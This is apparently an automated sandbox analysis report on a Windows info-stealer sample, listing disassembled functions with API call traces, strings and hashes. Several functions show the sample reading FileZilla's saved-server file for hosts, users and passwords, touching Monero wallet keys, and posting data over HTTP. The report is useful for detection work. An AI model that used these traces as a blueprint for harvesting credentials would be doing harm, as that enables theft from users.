K@=, xrefs: 006E6657
%^h, xrefs: 006E6B93

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %^h$K@=
API String ID: 0-2285590521
Opcode ID: 9e907fc9eab6fd7cb8f5b423093bf7582bf7d1e27b378de91f78ddfa9eae6ee7
Instruction ID: a7bcdee01b3890b962aaed9c40d110483975ce7f641aa12093d276ca248d0cee
Opcode Fuzzy Hash: 9e907fc9eab6fd7cb8f5b423093bf7582bf7d1e27b378de91f78ddfa9eae6ee7
Instruction Fuzzy Hash: 1CA209F360C2049FE304AE2DEC8567ABBE5EF94720F1A853DE6C4C3744EA3598058697

Function 006ED9D8 Relevance: 3.3, Strings: 2, Instructions: 836COMMON

Download Yara Rule

Strings

<"~, xrefs: 006EDCA7
T{, xrefs: 006EE136

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <"~$T{
API String ID: 0-1865613160
Opcode ID: e41beca78ed26038ea7a4f1d0a6dba77d52f3302b88ad0cd3031384d46ba89b7
Instruction ID: dfd44b2db8a93a32b208011a87ac16d01101934e72234d3d7432ca4d2b23f2de
Opcode Fuzzy Hash: e41beca78ed26038ea7a4f1d0a6dba77d52f3302b88ad0cd3031384d46ba89b7
Instruction Fuzzy Hash: 4F423BF3A0C2009FE3046E2DEC8567AF7E9EB94320F1A463DEAC4D7740EA3558158697

Function 006DB3C8 Relevance: 2.7, Strings: 2, Instructions: 206COMMON

Download Yara Rule

Strings

qC~}, xrefs: 006DB48E
TP~, xrefs: 006DB4A4

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: TP~$qC~}
API String ID: 0-3457400484
Opcode ID: 1737ff59433949f0aa1133dccc09c58cedf6c0ffef3404abcafec0234c876b1f
Instruction ID: f53383b56e30554e2f60e5c2c8d4497635b9d6fbc61e013bb9e8b3f6b94e55d5
Opcode Fuzzy Hash: 1737ff59433949f0aa1133dccc09c58cedf6c0ffef3404abcafec0234c876b1f
Instruction Fuzzy Hash: 225157F3A081105FE3486A29DC557BBB7D7EBD4724F16463DE689D7384E9394C028291

Function 006EF579 Relevance: 1.9, Strings: 1, Instructions: 685COMMON

Download Yara Rule

Strings

x, xrefs: 006EF939

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: x
API String ID: 0-1128350533
Opcode ID: 72ba0d73e8c9128928b8a87a904af05e7f829885e73585aa31f160452a3f178d
Instruction ID: e6c84887ee5486d9b634835a8b9eb2c2cb0e013e0dc059be15afc92e10bfcf91
Opcode Fuzzy Hash: 72ba0d73e8c9128928b8a87a904af05e7f829885e73585aa31f160452a3f178d
Instruction Fuzzy Hash: D822D2F360C3009FE704AF29EC8576ABBE5EF94320F16893DE6C583744E63598458A87

Function 005BC535 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bf99f64b1b80e6bf2ee3a3665a96511f6930ec86aea9be9bc173573c8d0e3fc
Instruction ID: 6e60031dda65b0f95e0d0bbea0267ed192ba494f01ca76d007f6950d56f8fcc6
Opcode Fuzzy Hash: 1bf99f64b1b80e6bf2ee3a3665a96511f6930ec86aea9be9bc173573c8d0e3fc
Instruction Fuzzy Hash: C96102F3E082149BE3046A28EC8477ABBD5EB94320F2A453DDBC497780EA7D1C558696

Function 006A11FB Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 312d996d7dff0a762c62b90cdb7f406ef5ae2140a2894fa90b532742f999fd34
Instruction ID: 0ecedddd30f71b9fb6e4e464aa653c11e517fd5e86dc3b82f66f2fce53d69c6e
Opcode Fuzzy Hash: 312d996d7dff0a762c62b90cdb7f406ef5ae2140a2894fa90b532742f999fd34
Instruction Fuzzy Hash: E2515AF3E082009BE3046E3CEC5576ABBD5EB94320F2B453DEAC9D3784E97959058786

Function 005EDB69 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f21330d6e5d32c65980ebde1e4bbbca7348e6f496367503dbdb84f662b252764
Instruction ID: 854f06250d8189c878489417babda79efad0609314d733f8ea43922fd17d518b
Opcode Fuzzy Hash: f21330d6e5d32c65980ebde1e4bbbca7348e6f496367503dbdb84f662b252764
Instruction Fuzzy Hash: 483107F3F543245BF354487DED847A66AC6D7A4360F2F8639AA88E7BC4E4BD8D054280

Function 00339750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00330250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

GetProcessHeap.KERNEL32(00000000,000F423F,00340DBA,00340DB7,00340DB6,00340DB3), ref: 00330362
RtlAllocateHeap.NTDLL(00000000), ref: 00330369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00330385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330393
StrStrA.SHLWAPI(00000000,<Port>), ref: 003303CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 003303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00330419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00330463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 0033051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 00330532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 0033054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00330562
lstrcat.KERNEL32(?,profile: null), ref: 00330571
lstrcat.KERNEL32(?,url: ), ref: 00330580
lstrcat.KERNEL32(?,00000000), ref: 00330593
lstrcat.KERNEL32(?,00341678), ref: 003305A2
lstrcat.KERNEL32(?,00000000), ref: 003305B5
lstrcat.KERNEL32(?,0034167C), ref: 003305C4
lstrcat.KERNEL32(?,login: ), ref: 003305D3
lstrcat.KERNEL32(?,00000000), ref: 003305E6
lstrcat.KERNEL32(?,00341688), ref: 003305F5
lstrcat.KERNEL32(?,password: ), ref: 00330604
lstrcat.KERNEL32(?,00000000), ref: 00330617
lstrcat.KERNEL32(?,00341698), ref: 00330626
lstrcat.KERNEL32(?,0034169C), ref: 00330635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00340DB2), ref: 0033068E

Strings

<Port>, xrefs: 003303C6
login: , xrefs: 003305CA
<Host>, xrefs: 0033037C
url: , xrefs: 00330577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 003302A4
<Pass encoding="base64">, xrefs: 0033045A
password: , xrefs: 003305FB
profile: null, xrefs: 00330568
<User>, xrefs: 00330410
browser: FileZilla, xrefs: 00330559

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 360c86ccbca85c723872c55c219f2ebe210b714564c7366b18ae038a97af2097
Instruction ID: 3b07243eb347d9c82f53ad1cbda0dbfbdbb47befc8fcfd77d39937ebd658dcb3
Opcode Fuzzy Hash: 360c86ccbca85c723872c55c219f2ebe210b714564c7366b18ae038a97af2097
Instruction Fuzzy Hash: 02D11B72910608ABCB06EBE4DDD6EEE7778EF14300F544418F542BF091DE74AA4ADB62

Function 00325960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003259F8
StrCmpCA.SHLWAPI(?,0109E7E8), ref: 00325A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00325B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0109E778,00000000,?,0109A420,00000000,?,00341A1C), ref: 00325E71
lstrlen.KERNEL32(00000000), ref: 00325E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00325E93
RtlAllocateHeap.NTDLL(00000000), ref: 00325E9A
lstrlen.KERNEL32(00000000), ref: 00325EAF
lstrlen.KERNEL32(00000000), ref: 00325ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00325EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00325F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00325F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00325F4C
InternetCloseHandle.WININET(00000000), ref: 00325FB0
InternetCloseHandle.WININET(00000000), ref: 00325FBD
HttpOpenRequestA.WININET(00000000,0109E828,?,0109E398,00000000,00000000,00400100,00000000), ref: 00325BF8

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

InternetCloseHandle.WININET(00000000), ref: 00325FC7

Strings

", xrefs: 00325CD5
------, xrefs: 00325C0B
------, xrefs: 00325D4C
------, xrefs: 00325A96
", xrefs: 00325E16

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 9c6050edf70c253a57d3fee9de67f052143d73b0963aadfe779a877bb2397bb0
Instruction ID: e30a39168fe6c3d76b5d661cb65f89e2f727c548ea4219a0d91f760bbabb9276
Opcode Fuzzy Hash: 9c6050edf70c253a57d3fee9de67f052143d73b0963aadfe779a877bb2397bb0
Instruction Fuzzy Hash: E9120C72820518AADB16EBA0DCD5FEEB778BF14700F5041A9F1467B091EF702A4ADF61

Function 0032CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
